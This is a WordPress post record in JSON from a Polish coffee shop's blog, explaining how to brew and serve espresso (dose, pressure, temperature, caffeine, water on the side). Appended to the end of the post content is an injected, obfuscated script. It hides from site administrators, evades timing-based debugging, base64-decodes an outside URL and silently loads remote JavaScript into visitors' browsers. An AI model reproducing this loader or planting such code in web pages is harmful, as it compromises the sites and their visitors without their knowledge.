{"id":4211,"date":"2020-09-08T15:10:48","date_gmt":"2020-09-08T13:10:48","guid":{"rendered":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4211"},"modified":"2026-03-09T05:14:28","modified_gmt":"2026-03-09T04:14:28","slug":"jak-przyrzadzic-i-podac-espresso","status":"publish","type":"post","link":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4211","title":{"rendered":"Jak przyrz\u0105dzi\u0107 i poda\u0107 espresso?"},"content":{"rendered":"\n<p><strong>Zastanawiasz si\u0119, jak pi\u0107 espresso i jak zrobi\u0107 espresso, kt\u00f3re umili poranek? Ten rdzennie w\u0142oski, mocny i wyrazisty napar to klasyczna kawa i baza dla wi\u0119kszo\u015bci znanych napoj\u00f3w kawowych: latte, latte macchiato, lungo, americano, cappuccino itd. Jest to ma\u0142a porcja ciemnobr\u0105zowej kawy z warstw\u0105 br\u0105zowej cremy, czyli pianki. Crema jest istotnym elementem i po jej wygl\u0105dzie mo\u017cna pozna\u0107, czy podany nap\u00f3j zosta\u0142 zaparzony w prawid\u0142owy spos\u00f3b. Zbyt cienka pianka b\u0119dzie oznacza\u0107, i\u017c ziarna zosta\u0142y zmielone zbyt grubo, a kawa przez to straci\u0142a wyrazisto\u015b\u0107. Z kolei crema w zbyt ciemnym kolorze oznacza, i\u017c ziarna zmielono zbyt cienko, a kawa jest zbyt mocna.<\/strong><\/p>\n\n\n\n<\/br>\n\n\n\n<p>Ten rodzaj <a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/kawa\/\"><strong>kawy<\/strong><\/a> liczy ju\u017c sobie ponad 100 lat, a spos\u00f3b jego przyrz\u0105dzenia jest dok\u0142adnie okre\u015blony oraz wymaga u\u017cycia specjalnego <a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/ekspresy\/\"><strong>ekspresu do kawy<\/strong><\/a>. Espresso, tak jak wiele innych klasycznych przepis\u00f3w kawowych, wywodzi si\u0119 z W\u0142och, kiedy to Luigi&nbsp;Bezzera&nbsp;stworzy\u0142 w 1901 pierwszy ekspres&nbsp;i przygotowa\u0142 pierwsze espresso. Nazwa po w\u0142osku oznacza kaw\u0119 wyciskan\u0105 czy wyt\u0142aczan\u0105. Dowiedz si\u0119, jak zrobi\u0107 espresso idealne.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ile gram kawy i ile ml wody na espresso?<\/h2>\n\n\n\n<p>Espresso przyrz\u0105dza si\u0119 z 7 g kawy oraz ok. 25-30 ml wody. Odpowiednie jego przyrz\u0105dzenie wymaga zachowania proporcji pomi\u0119dzy ilo\u015bci\u0105 zmielonej kawy oraz wody. Woda powinna przechodzi\u0107 przez kaw\u0119 pod ci\u015bnieniem 9 bar\u00f3w, ale dopuszczalny margines to 8,5 \u2013 9,5 bara. Idealna temperatura zaparzania to 88-92 stopnie Celsjusza. Napar wlewa si\u0119 do ma\u0142ych fili\u017canek b\u0105d\u017a szklanek o poj. 70 ml i zape\u0142nia do po\u0142owy. Fili\u017cank\u0119 dobrze jest wcze\u015bniej podgrza\u0107.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ile kofeiny ma espresso?<\/h2>\n\n\n\n<p>Klasyczne espresso ma ok. 200 mg kofeiny na 100ml napoju. W porcji 30 ml jest ok. 65 mg kofeiny. Pami\u0119tajmy przy tym, \u017ce zawarto\u015b\u0107 <a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/kofeina-ile-jest-jej-w-kawie-i-jak-dziala\/\"><strong>kofeiny<\/strong><\/a> w fili\u017cance r\u00f3\u017cni si\u0119 w zale\u017cno\u015bci od rodzaju zastosowanych ziaren. Do zaparzania espresso stosuje si\u0119 ziarna arabici, robusty i liberici, a tak\u017ce r\u00f3\u017cne ich po\u0142\u0105czenia. Sprawdz\u0105 si\u0119 odmiany pochodz\u0105ce z &nbsp;Salwadoru, Kostaryki oraz&nbsp;Kolumbii.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jak pi\u0107 espresso?<\/h2>\n\n\n\n<p>Espresso nale\u017cy podawa\u0107 w ma\u0142ych fili\u017cankach lub szklankach, najlepiej r\u00f3wnolegle z wod\u0105. A jak pi\u0107 espresso ze wzgl\u0119du na por\u0119 dnia? Kaw\u0119 mo\u017cna pi\u0107 rano, ale w krajach \u015br\u00f3dziemnomorskich zwyczajem jest spo\u017cywanie jej po pe\u0142nym posi\u0142ku, tu\u017c po deserze.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Po co woda do espresso, dlaczego espresso popija si\u0119 woda?<\/h2>\n\n\n\n<p>Do espresso cz\u0119sto podawana jest woda, kt\u00f3rej zadaniem jest oczyszczenie kubk\u00f3w smakowych. Wod\u0119 pijemy wi\u0119c przed espresso lub przed ka\u017cdym \u0142ykiem kawy \u2013 pozwala ona oczy\u015bci\u0107 kubki smakowe i lepiej wyczu\u0107 smak naparu.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Zastanawiasz si\u0119, jak pi\u0107 espresso i jak zrobi\u0107 espresso, kt\u00f3re umili poranek? Ten rdzennie w\u0142oski, mocny i wyrazisty napar to klasyczna kawa i baza dla wi\u0119kszo\u015bci znanych napoj\u00f3w kawowych<\/p>\n","protected":false},"author":3,"featured_media":4215,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4211","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bez-kategorii"],"_links":{"self":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4211","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4211"}],"version-history":[{"count":6,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4211\/revisions"}],"predecessor-version":[{"id":12772,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4211\/revisions\/12772"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/media\/4215"}],"wp:attachment":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4211"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4211"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4211"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}